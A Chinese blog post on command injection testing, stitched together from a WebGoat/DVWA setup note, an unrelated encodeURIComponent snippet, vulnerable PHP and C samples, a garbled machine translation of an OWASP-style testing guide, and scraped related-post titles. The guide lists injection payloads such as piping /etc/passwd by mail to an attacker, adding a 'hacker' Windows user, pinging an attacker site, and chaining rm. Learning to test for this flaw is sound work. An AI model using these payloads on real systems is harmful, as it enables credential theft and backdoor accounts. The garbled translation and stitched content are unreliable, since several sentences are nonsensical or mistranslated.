Command Injection(命令行注入)

实战部分:

说明:这里我用的是OWASP的一个平台和DVWA

下面简单说一下安装方法(windows下):
     先下载webscarab-current.zip(这个自带tomcat,还有一个下载方式是war文件,需要自己安装tomcat,建议使用第一个),地址为http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解压到一个文件夹,运行webgoat.bat即可启动其自带的tomcat,通过访问http://localhost/WebGoat/attack,输入用户名guest,密码guest即可进入

ncodeURIComponent 方法
将文本字符串编码为一个统一资源标识符 (URI) 的一个有效组件。
encodeURIComponent(encodedURIString)
必选的 encodedURIString 参数代表一个已编码的 URI 组件。
说明
encodeURIComponent 方法返回一个已编码的 URI。如果您将编码结果传递给 decodeURIComponent,那么将返回初始的字符串。因为 encodeURIComponent 方法对所有的字符编码,请注意,如果该字符串代表一个路径,例如 /folder1/folder2/default.html,其中的斜杠也将被编码。这样一来,当该编码结果被作为请求发送到 web 服务器时将是无效的。如果字符串中包含不止一个 URI 组件,请使用 encodeURI 方法进行编码。

呵呵!此漏洞危害很大,不用多说。

DVWA部分

源码

<?php

if( isset( $_POST[ ‘submit‘ ] ) ) {

$target = $_REQUEST[ ‘ip‘ ];

// Determine OS and execute the ping command.
 if (stristr(php_uname(‘s‘), ‘Windows NT‘)) { 
 
  $cmd = shell_exec( ‘ping  ‘ . $target );
  $html .= ‘<pre>‘.$cmd.‘</pre>‘;
  
 } else { 
 
  $cmd = shell_exec( ‘ping  -c 3 ‘ . $target );
  $html .= ‘<pre>‘.$cmd.‘</pre>‘;
  
 }
 
}
?>

以上代码我们可以看出,  $target = $_REQUEST[ ‘ip‘ ];直接从文本框中输入的内容,没有任何

限制,刚刚我们在上面也看到了,在操作系统中使用“&&”连接符(在windows下一个&和两个&

都可以,在linux下一定要两个),可以执行多条命令。

---------------------------------------------------------------------------------------------------

理论部分:

 如何测试命令注入
  
 总结
命令注入漏洞是特别危险的,因为它们允许未经授权的执行操作系统命令, 它们的存在,因为应用程序无法正确地验证和消毒,使用时调用shell的功能,如的参数。 攻击者与控制这些参数可以欺骗应用程序执行任何系统命令自己的选择。
例如,UNIX应用程序列出了使用的文件夹的内容。 它需要的字符串FOLDER_NAME,从用户,没有任何验证,连接到“ls”的建立实际的命令。 应用程序,然后通过命令(“LS FOLDER_NAME “)的系统()函数,并获取结果。 一个命令注入漏洞,允许攻击者注入额外的命 令在输入字符串FOLDER_NAME的, 其结果是被欺骗应用程序执行攻击者的额外的命 令。
为了正确测试命令注入漏洞,应遵循以下步骤:
? 第1步: 了解攻击场景
? 第2步: 分析原因及对策
? 第3步: 开始试验和探索
? 第4步: 微调测试案例
 
第1步: 了解攻击场景
命令注入漏洞测试的第一步是要了解他们的攻击的情况下, 有两种常见的类型,命令注入漏洞:
? 直接命令注入。
? 间接命令注入。
 
方案1: 直接命令注入
最基本的形式包括直接提供的额外的易受攻击的应用程序的命令。命令注入 攻击者首先发现应用程序调用系统命令作为参数的命令,直接将用户提供的数据, 那么攻击者提供的恶意命令的预期参数。 应用程序执行原来的命令,然后恶意。
详细步骤如下:
1. 攻击者发现,该应用程序使用客户端输入来执行命令。
2. 攻击者提供的恶意客户端输入命令的一部分。
3. 攻击者观察应用程序执行其他命令。
 
方案2: 间接命令注入
这种情况下,命令注入,直接地或间接地提供额外的易受攻击的应用程序可以通过文件或环境变量的命令。 首先,攻击者减去的应用程序调用系统命令,从外部数据源,如文件或环境变量 然后,攻击者修改的内容的外部源中加入恶意的命令。 然后,攻击者等待或强制执行恶意命令,与原来的应用程序。
详细步骤如下:
1. 攻击者发现,该应用程序使用的数据存储在外部执行命令。
2. 攻击者编辑外部来源包括恶意命令。
3. 攻击者等待,直到应用程序执行原来的命令(或攻击者试图使该应用程序的状态将在其中提供的命令执行)。
4. 攻击者验证的应用程序的执行注入的命令。
 
第2步: 分析原因及对策
在此步骤中,你就会明白命令注入漏洞以及共同防御的原因。 这将帮助您寻找代码中的错误,并认识到安全的编码实践。
 
命令注入的原因
命令注入漏洞是一个单一的原因:可怜的输入验证。 建立任何应用程序,命令字符串中使用未消毒的数据容易受到此错误。下面的代码片段演示了命令注入漏洞。这在Windows下运行使用PHP代码的输入提供一个文本框的形式和调用EXEC 功能,键入的文件:

<?php
 
  $command = ‘type ‘ . $_POST[‘username‘];
  exec($command, $res);  
 
  for ($i = 0; $i < sizeof($res); $i++) 
         echo $res[$i].‘<br>‘;
 
?>

用户可以提供以下字符串列表中的活动连接在服务器:

file.txt|netstat -ano

下面的例子在C + +(由OWASP [I])运行在一个符合POSIX标准的类Unix环境,如 使用提供的命令行输入到系统并运行的cat命令:
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char **argv) {
 
 char cat[] = "cat ";
 char *command;
 size_t commandLength;
 
 commandLength = strlen(cat) + strlen(argv[1]) + 1;
 command = (char *) malloc(commandLength);
 strncpy(command, cat, commandLength);
 strncat(command, argv[1], (commandLength - strlen(cat)) );
 
 system(command);
 return (0);
 
}

用户可以提供以下字符串的服务器的当前目录的内容列出目录的内容:

file.txt;ls

上面的代码片段中使用两种不同的功能,交互的shell 执行exec()和()。 下面的列表汇总了常用的功能,在命令注入攻击:

Function Language
system, execlp,execvp, ShellExecute, _wsystem C/C++
Runtime.exec Java
exec, eval PHP
exec, open, eval,  Perl
exec, eval, execfile, input Python
Shell, ShellExecuteForExplore, ShellExecute VB

命令注入对策
应用程序防御命令注入漏洞,通过做正确的输入验证和消毒。 开发人员必须看所有情况下,应用程序调用一个壳状系统功能,如执行或系统,避免执行,除非参数被正确地验证和消毒。 有两种可能的方法来验证这些参数:使用黑色列表或使用白名单。
黑名单检查,然后才允许执行恶意模式。 命令注入的情况下,一个黑色的命令列表可能包含分隔符,如分号(;)垂直划线(|),双破折号(| |),双放大器(&&)危险的命令,如RM,CP,猫,LS,在净参数,netstat,DEL,复制等, 但是,一个主要的缺点阻碍了这种对策是有效的,除非黑名单绝对是所有涉及危险的可能性,攻击者可以找到以外的黑名单的变化,来进行攻击。  
白名单与安全执行模式匹配, 如果有问题的数据不匹配任何安全模式,这是不允许的。 这危险的构造,因为任何新的(恶意)结构的新变化,不符合安全的解决了这个问题一种是系统自动封锁。 一个共同的方式来实现白名单是相匹配的输入与安全的命令格式的正则表达式表示。 然而,复杂的正则表达式可以写和解释。 开发人员必须确保他们了解如何编写和解释正则表达式之前实施这一防御。
第3步: 开始试验和探索
在此步骤中,您将开始测试您的应用程序的基本命令注入字符串,并观察应用程序如何反应。
一个简单的测试字符串的开始 
首先,你需要找到所有的地方,你的应用程序调用系统命令来执行和操作, 然后在这些地方,开始探索如何命令注入所需的应用程序处理的基本特征。 以下两个字符串是很好的尝试因为它们包含命令和命令注入字符:
abc;dir C:|xyz&netstat       (Windows)
abc;ls|cp&rm                 (UNIX)
如果应用程序没有给出一个错误消息,因为特殊字符,然后有机会的话,它受到从命令注入漏洞。

建立一个有效的命令 
重要的是,你是能够理解的。 例如,未找到文件的错误,而不是一个无效的数据格式错误是一个很好的提示,应用程序需要处理的特殊字符作为文件的一部分。 例如,你可能会得到一个找不到文件的错误时,使用下列字符串:
file.txt|dir c:
这是因为应用程序调用exec()的以下字符串: 
cmd /c type "c:\public_html\user_files\file.txt|dir c:"

对于输入字符串执行附加额外的命令之前,你需要关闭的双引号的目录列表命令:
file.txt"|dir c:

需要特别注意引号和双引号,因为省略了,他们可以很容易导致注入字符串作为数据处理。
有时应用程序不反映注入的在屏幕上的命令的输出。为了解决这个问题,使用命令不创建屏幕输出,但执行一个可见的行动:
file.txt;mail </etc/passwd
  Emails attacker the server’s passwords.
file.txt|net user /add "hacker"
  Adds hacker to the Windows user database.
file.txt;ping%20attacker_site Pings the attacker site.
 
第4步: 微调测试案例数据
彻底地测试您的应用程序对命令注入漏洞,你必须覆盖所有可能的入口点和命令注入是可能的情况下的。
尝试不同的切入点和场景
继续探索不同的应用程序的入口点。 测试的情况下,数据的格式会有所不同的入口点。 例如,如果你正在测试通过URL字符串file.txt的“ DIR C:可能看起来像一个2以下(取决于上的URL编码):
? file.txt"|dir%20c: 
? file.txt"|dir+c: 

? 重要的是,你考虑不同的编码方式和数据格式额外的命令注入的入口点,如:输入字段,URL参数,POST数据,Web服务方法,用户界面元素,环境变量,数据库的内容,注册表内容,文件的内容,第三党的API,和网络数据包。
? 当间接命令注入进行测试时,重要的是你控制的源传递到目标函数的参数。 例如,如果你被攻击一个使用应用程序 ,你必须控制传递给这个函数的文件。 让我们说的应用程序使用而execfile /私营/ commands.txt的,在这里你不需要通过任何恶意的参数,你必须修改命令文件注入恶意指令,并等待(或强迫)注入要执行的命令。这是建议,进行测试时,直接喷射,您使用的环境监测工具。 您可以使用Sysinternals Process Explorer的注册表,文件系统,现在结合,找出您的应用程序使用的外部资源时调用shell或系统环境变量监控的命令。
? 结论
? 命令注入漏洞存在,因为穷人的输入验证和消毒交互的功能与操作系统的shell所使用的参数。 任何攻击者控制这些参数可以强制应用程序执行不必要的系统命令。 命令注入漏洞进行对比测试,包括操纵原来的命令参数,命令注入的字符串,取决于要执行的操作的入口点下测试不同的组合。

时间: 2024-12-20 00:01:12

Command Injection(命令行注入)的相关文章

安全性测试入门(二):Command Injection命令行注入攻击和防御

安全性测试入门(二):Command Injection命令行注入攻击和防御 本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式.如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生. 通常来说,由应用程序传递操作系统命令会赋有和应用一样的权限,所以如果没有合理防御机制会给系

DVWA系列(四)----Command Injection (命令行注入)

一.攻击模块2:Command Injection(命令注入) 命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏. PHP命令注入攻击漏洞是php应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!.DedeCMS等都曾经存在过该类型漏洞. 二.源码分析 1.Low(低)级别 [html] view plain copy <?php if( is

(二)NS3如何编译、运行脚本和 Command Line命令行参数设置

二.编译.运行脚本和Command Line命令行参数设置 7. 编译和运行脚本主要步骤 1) 将编写的脚本复制到ns-3.22/scratch目录下(可以在ubuntu窗口界面直接复制) 进入ns3目录: /ns-3.22 $ cp examples/tutorial/first.cc  scratch/myfirst.cc将脚本复制到scratch目录下 2) 构建(编译) $ ./waf 3) 运行 $ ./waf --run scratch/myfirst (可能会有运行权限问题,可在r

dvwa全等级命令行注入

1.LOW等级命令行注入 在低等级的命令行注入没有任何的过滤,通过查看源码可以得知, step1:使用ping 127.0.0.1&&dir可以得出如下结果 step2:使用 ping127.0.0.1&net user可以得到如下运行结果 step3:使用ping 127.0.0.1|dir可以得到如下结果 ps:在这里有必要说一下逻辑运算符“&”和“|”都是什么意思 &&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执

设计模式之(Command)命令行模式

1.需求 为一个开关设计程序,这个开关有N按钮,同时对应N个插槽,要求可以接入任何电器厂商的API,从而可以控制任何电器.目前只有电灯和电视两种电器,要求写一个Demo程序,按钮1可以打开电灯.按钮2可以打开电视并且切换到上一次打开的频道.打开电视换频道需要打开机顶盒并且对机顶盒切换频道. 2. 分析 每个厂商的API不一致,且每个电器的打开流程都不一样,我们需要将这些差异封装起来,才可以实现新增电器时不需要修改开关程序. 3. 类图 4. 总结 上面的例子主要通过Command模式将执运算块(

DWVA-命令注入漏洞闯关(Command Injection)

前言 Vulnerability: Command Injection LOW级别 代码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // 几首一个变量为ip的参数 $target = $_REQUEST[ 'ip' ]; // 判断系统 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else {

Mac系统终端命令行不执行命令 总出现command not found解决方法

配置过安卓开发环境,改过bash_profile这个文件,最后不知怎么的只有cd命令能执行,我猜测可能修改bash_profile文件后没有保存 导致的     保存命令是:  source .bash_profile 说下我的解决方法: 1,在命令行中输入: export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin 这样可以保证命令行命令暂时可以使用.命令执行完之后先不要关闭终端. 2,输入 cd ~/ 进入当前用户的home目录. 3,

[转] Mac系统终端命令行不执行命令 总出现command not found解决方法

配置过安卓开发环境,改过bash_profile这个文件,最后不知怎么的只有cd命令能执行,我猜测可能修改bash_profile文件后没有保存 导致的     保存命令是: source .bash_profile 说下我的解决方法: 1,在命令行中输入: [cpp] view plain copy print? export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin 这样可以保证命令行命令暂时可以使用.命令执行完之后先不要关闭终端.

Xcode Command Line Tools(命令行工具)

OS X 10.9 Mavericks正式发布,免费更新,立即去更新看看效果. 不过升级后安装命令行工具(Command Line Tools)时发现官网没有clt的下载安装包了,原来改了,使用命令在线安装. 打开终端,输入命令:xcode-select --install